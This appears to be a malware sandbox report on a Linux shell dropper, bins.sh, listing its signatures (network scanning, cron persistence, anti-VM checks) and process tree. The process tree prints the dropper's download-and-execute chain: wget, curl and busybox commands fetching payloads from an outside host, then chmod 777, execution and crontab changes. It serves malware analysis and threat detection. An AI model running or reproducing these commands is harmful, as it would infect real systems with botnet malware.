Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    137s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/02/2025, 13:02

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250212-p9t63asmct
  • SHA256 9250a71f26f7a24bc8cb22162ed5fc072e095b2f5de114feb56d0fae137e94e0
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1919) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:639
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:643
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:646
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:660
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:714
      • /bin/chmod
        chmod 777 ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        2⤵
        • File and Directory Permissions Modification
        PID:747
      • /tmp/ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        ./ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:748
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:750
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:751
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:752
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:753
            • /bin/rm
              rm ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/gFQxBulWr9E9uGgVl2ShPUdXA204RmvYWM
                2⤵
                • System Network Configuration Discovery
                PID:758

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
                  • Path /tmp/ooYOBQ8JRJWKMCdGA8Xf4PnmYS7I1juqdO
                  • Size 177KB
                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.B7blpF
                  • Path /var/spool/cron/crontabs/tmp.B7blpF
                  • Size 210B
                  • SHA256 65f2a7157b91762ec8e228860215c72f4488e1b6ef00d6fa942cbc828bba3fc1
                  • MD5 SHA1 SHA512
                  Submit Download